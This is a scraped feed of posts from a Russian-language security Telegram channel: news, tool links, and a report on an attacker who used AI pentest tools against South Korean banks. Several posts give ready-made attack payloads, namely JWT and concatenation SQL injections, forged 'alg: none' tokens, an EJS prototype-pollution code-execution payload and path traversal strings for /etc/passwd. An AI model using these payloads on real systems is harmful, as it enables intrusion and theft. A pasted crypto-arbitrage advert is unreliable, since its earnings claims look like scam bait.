19336
Присоединяйтесь к нашему каналу и погрузитесь в мир ИБ Сотрудничество, реклама: @devmangx Работаем с @Spiral_Yuri РКН: https://clck.ru/3Fs4L9
Выложили в открытый доступ весь процесс поиска багов.
Если собираете собственного хакбота, это сэкономит вам кучу времени на выяснение того, что работает, а что нет.
Готового решения «запустил и пользуйся» здесь нет, но есть на чём строить своё.
https://github.com/mdpsec/bug-bounty-hunting-prompts
👉 @cybersecinform
YesWeHack Claude Kit — плагин для Claude Code, который помогает багхантерам составлять понятные и подкреплённые доказательствами отчёты об уязвимостях, чтобы специалисты по их проверке могли быстро подтвердить найденные проблемы.
https://github.com/yeswehack/claude-kit
Безопасный код ≠ безопасный прод
16 октября на онлайн-трансляции PSD 2026 команда AppSec Positive Technologies покажет, где вы реально теряете контроль: в вебе и в Kubernetes с ИИ‑сервисами.
PT BlackBox: исследуем SPA, API и авторизованные приложения без готовых схем, находим реальные точки атаки в работающем вебе. Разберём, как DAST дополняет SAST и что происходит между безопасным кодом и безопасным продом.
🕓16:20 МСК
PT Container Security: Kubernetes как платформа для ИИ. Реальные атаки на кластеры с ИИ‑сервисами. Покажем, как контролировать секреты, системные команды, файлы, сетевые соединения и действия конкретного сервиса/контейнера.
🕓16:40 МСК
📅 16 октября · онлайн‑трансляция PSD 2026
🔗 Регистрируйтесь
Если хотите изучить DevOps по полноценной, структурированной университетской программе, начните с этого курса.
Хельсинкский университет выложил в открытый доступ свой полный курс DevOps with Kubernetes.
Это бесплатный курс университетского уровня с практическими заданиями, доступный всем желающим.
https://courses.mooc.fi/org/uh-cs/courses/devops-with-kubernetes-2026
👉 @cybersecinform
Обход межсетевого экрана веб-приложений (WAF) с помощью EvilWAF.
https://hackers-arise.com/bypass-web-application-firewall-waf-with-evilwaf/
👉 @cybersecinform
Исследователь обнаружил уязвимость в Lime, позволяющую любому человеку отслеживать маршруты всех прокатных велосипедов компании.
Это открывает возможности для слежки за пользователями и раскрытия их личной информации. На видео ниже показан один из таких маршрутов рядом с военным объектом США.
Исследователь сообщил об уязвимости Lime, но компания заявила, что система работает так, как задумано, и исправлять её не собирается.
👉 @cybersecinform
Хакер, использовавший ИИ для взломов, сам себя деанонимизировал. Он оставил в открытом доступе сессии Claude Code, в которых просил составить ему резюме и указал свои личные данные.
CrowdStrike связывает его со взломами южнокорейских банков Shinhan, KB Kookmin и Hana Bank. После атак утекли персональные данные десятков тысяч человек. Президент Южной Кореи Ли Чжэ Мён лично потребовал найти виновных.
Атакующий использовал ARTEX — открытый инструмент для тестирования на проникновение с помощью ИИ, разработанный в Китае. Основной моделью была DeepSeek V4.1-Flash, а GLM-5.3, Grok 4.6 и Claude Code помогали ему в работе.
Но на своём сервере он оставил открытый просмотр каталогов. Исследователи нашли CLAUDE.md, историю сессий, конфигурацию ARTEX и файлы памяти Claude - и практически восстановили весь ход атаки.
В переписке он спрашивал, где продают украденные в Южной Корее данные и есть ли для этого Telegram-группы. А затем просил составить резюме исследователя кибербезопасности, указав имя, возраст, телефон, Telegram-аккаунт, образование и место жительства.
Судя по этим сведениям, это «YY», 26 лет, выпускник Южно-Китайского технологического университета из Маомина, провинция Гуандун.
Ну что ж, теперь остаётся предложить ему найти работу в blue team. 🤣
https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/
@IT_Portal
SQL-инъекция через JWT
Поле jti (идентификатор JWT) хранится в базе данных, чтобы предотвратить повторное использование токена.
SQL-запрос, проверяющий этот идентификатор, уязвим к инъекции.
"jti": "' OR '1'='1"
Новая техника SQLi через конкатенацию:'||Column_name--+
Затем:'||table_name.column_name--+ с использованием точечной нотации.
То есть:'||not_valid_column_name--+ → возвращает ошибку '||valid_column_name--+ → успешно '||valid_table.valid_column--+ → успешно
Я получил баг-баунти за этот долбаный простой PoC, потому что Akamai и бэкенд ограничивали ввод восемью символами. Мне просто повезло, что название колонки было id.
👉 @cybersecinform
Лучший бесплатный сайт для изучения DevOps на практике из всех, что я нашёл.
Практикуйтесь в Linux, Docker, Kubernetes, Terraform и AWS в интерактивных лабораторных работах с пошаговыми заданиями и автоматической проверкой.
https://girus.io
👉 @cybersecinform
Проводи OSINT-расследования на основе графов и наглядно отображай связи между данными с помощью Flowsint — платформы с открытым исходным кодом.
https://github.com/reconurge/flowsint
👉 @cybersecinform
Злоумышленники могли использовать iCloud, чтобы отправлять письма от имени любого адреса в домене icloud.com, включая tim.cook@icloud.com, при этом письма успешно проходили SPF, DKIM и DMARC — проверки подлинности почты, которые должны защищать от подмены отправителя.
Исследователи обнаружили и сообщили Apple о двух ошибках в обработке адресов на почтовых серверах компании.
Первое исправление Apple просто блокировало слово «admin». Полное исправление заняло 18 месяцев.
За находку исследователям выплатили $15 000.
https://sec-consult.com/blog/detail/from-anyoneicloudcom-spoofing-arbitrary-apple-icloud-identities/
👉 @cybersecinform
OpenClaw только что запустила «Kubernetes для ИИ-агентов» при поддержке OpenAI, NVIDIA и Red Hat.
Проект называется OpenClaw Enterprise — это открытая плоскость управления для запуска ИИ-агентов в большом масштабе.
Можно развёртывать агентов, изолировать их, управлять доступом и контролировать всю инфраструктуру из одного места.
Также платформа добавляет мультитенантность, управление политиками и аудит для инфраструктуры агентов.
И всё это работает поверх Kubernetes.
Изначально проект появился внутри OpenAI, а затем перешёл в OpenClaw Foundation.
Источник: https://thenewstack.io/openclaw-enterprise-kubernetes-agents/
👉 @cybersecinform
Обход JWT через alg: none без необходимости подписи.Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.
Соответственно измените нужные поля ниже:
echo -n '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}."
🔴В 2025 году Россияне заработали 5,3 млрд рублей на арбитраже криптовалют
По данным Минфин 32% граждан покинули своё место работы поскольку уже в первый месяц смогли заработать 250 000 рублей, а через 2-3 месяца с легкостью вышли на семизначные числа.
Самое смешное, что лишь 8% россиян что-то слышали об этой профессии хотя все инструкции бесплатно лежат на канале Арбитраж Криптовалют
Там объясняют, как имея телефон и доступ в интернет заработать свои первые $3000. Причём разжёвывают так доступно, что поймёт даже ребенок. Кстати, на канале сегодня вышла новая рабочая связка!
Ссылка для входа — /channel/+fk8JI3d6yXY2MzBi
Если изучаете DevOps, эти GitHub-репозитории стоит сохранить в закладки. Не потому, что они в тренде, а потому, что помогают понять, как работает реальная инфраструктура.
1. Kubernetes examples
https://t.co/Ea55pRfU0d
2. Awesome DevOps
https://t.co/BnLHc7kLXs
3. Terraform AWS modules
https://t.co/c4X3r2rV4j
4. Prometheus
https://t.co/mkM23Rrjrj
5. Argo CD
https://t.co/OwpC1wKpfF
6. Kubernetes the Hard Way
https://t.co/VWXsfalgnl
7. The System Design Primer
https://t.co/keyQrPdfbU
Выберите один репозиторий, соберите с его помощью что-нибудь и почитайте код.
Именно с этого начинается настоящее обучение.
👉 @cybersecinform
Claude-BugHunter — набор из 83 отобранных скиллов для Claude Code, предназначенных для аудита безопасности, отслеживания уязвимостей CVE и подготовки структурированных отчётов по результатам тестирования на проникновение методом Red Team.
https://github.com/elementalsouls/Claude-BugHunter
👉 @cybersecinform
Исследователь обнаружил уязвимость в Lime, позволяющую любому человеку отслеживать маршруты всех прокатных велосипедов компании.
Это открывает возможности для слежки за пользователями и раскрытия их личной информации. На видео ниже показан один из таких маршрутов рядом с военным объектом США.
Исследователь сообщил об уязвимости Lime, но компания заявила, что система работает так, как задумано, и исправлять её не собирается.
👉 @cybersecinform
Серия статей о том, как устроены компиляторы и LLVM. Четыре части с практическими примерами — от написания простого прохода LLVM до JIT-компиляции и работы с машинным промежуточным представлением.
Часть 1 — основы компиляторов и первый проход LLVM:
https://sh4dy.com/2024/06/29/learning_llvm_01/
Часть 2 — модули, базовые блоки и проходы анализа:
https://sh4dy.com/2024/07/06/learning_llvm_02/
Часть 3 — JIT-компиляция: пишем небольшой калькулятор на LLVM:
https://sh4dy.com/2024/11/24/learning_llvm_03/
Часть 4 — машинное промежуточное представление и написание MachineFunctionPass:
https://sh4dy.com/2026/10/04/learning_llvm_04/
👉 @cybersecinform
Основа простого обхода:
1. Для статического файла не требуется проверка прав доступа.
2. Разные слои по-разному определяют, где заканчивается путь.
%23 (#) — новый %00
👉 @cybersecinform
Превратите IDA Pro в рабочую среду для реверс-инжиниринга с ИИ:
- Мгновенные объяснения функций и анализ безопасности
- Семантический граф знаний по всему бинарнику
- Автономный ReAct-агент с настраиваемыми уровнями расширенного рассуждения
- Полная интеграция инструментов MCP
- Умные подсказки для переименования
- Интерактивные вопросы и ответы с вызовом инструментов
- RAG по вашей документации
- Поддержка LLM от разных провайдеров, включая локальные модели
Полностью открытый исходный код. Для IDA Pro 9.0 и выше.
https://t.co/2bSI0k1dkD
👉 @cybersecinform
Удалённое выполнение кода в Node.js через EJS (версии до 6.0.0-alpha).
Небезопасное объединение объектов позволяет эксплуатировать уязвимость Prototype Pollution, которая приводит к удалённому выполнению кода при рендеринге шаблонов.
{"__proto__":{"client":true,"escapeFunction":"function(){return process.mainModule.require('child_process').spawnSync('id').stdout;};//"}}
Если у вас есть свой сервер, вам пригодится это руководство.
В нём 137 практических рекомендаций по защите сервера и приложения:
✓ Аутентификация, сессии и пароли
✓ Docker, GraphQL и GitHub Actions
✓ .NET, Java, PHP, SQL и тд.
Официальное руководство OWASP:
https://cheatsheetseries.owasp.org
👉 @cybersecinform
Вышел набор инструментов с открытым исходным кодом, который даёт твоему ИИ-агенту возможности реверс-инжиниринга через MCP и CLI.
С его помощью можно декомпилировать приложения и нативные бинарники, трассировать выполнение, изучать собранные данные и воссоздавать функции под свой стек.
https://github.com/morluto/rea
👉 @cybersecinform
Debian одним обновлением безопасности исправила 1 313 уязвимостей ядра Linux в Debian 13 «Trixie» — возможно, это крупнейшее подобное обновление в истории проекта.
Уязвимости позволяли повышать привилегии, вызывать отказ в обслуживании и получать доступ к информации. Исправления вошли в версию 6.12.111-1.
Число CVE в ядре на один выпуск выросло примерно втрое, поскольку инструменты на базе ИИ всё активнее сканируют кодовую базу.
https://lwn.net/Articles/1097401/
👉 @cybersecinform
Парень выложил на GitHub приложение, которое превращает ваш телефон в детектор слежки.
Оно слушает Wi-Fi и Bluetooth-сигналы вокруг и показывает, какие устройства находятся поблизости:
• скрытые трекеры
• полицейские нагрудные камеры
• дроны и местоположение их пилота
• умные очки Meta, когда они ведут запись
• микрофоны систем обнаружения выстрелов
Всего приложение распознаёт до 242 типов устройств и предупреждает, если какое-то из них начинает перемещаться вместе с вами.
Полностью открытый исходный код.
👉 @cybersecinform
Обход Path Traversal
Null Byte Injection ../../../etc/./passwd%00.png
Удаление ../ ..././..././..././e../tc..//pas../swd
Многоэтапное декодирование ..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd
Добавление для усечения по длине, 4096 байт ../../../etc/./passwd/././././././
👉 @cybersecinform
Microsoft только что добавила в Windows встроенный способ запускать Linux-контейнеры.
WSL Containers официально вышел в стабильный релиз и позволяет собирать и запускать Linux-контейнеры прямо из Windows через wslc.
Среди ключевых изменений — изолированные контейнеры, более быстрый доступ к файлам между Windows и Linux и новая сетевая модель.
Поддержка Compose уже на подходе.
Linux-контейнеры в Windows теперь официально стали нативной возможностью Microsoft.
Полный анонс:
https://blogs.windows.com/windowsdeveloper/2026/09/29/wsl-containers-now-generally-available/
👉 @cybersecinform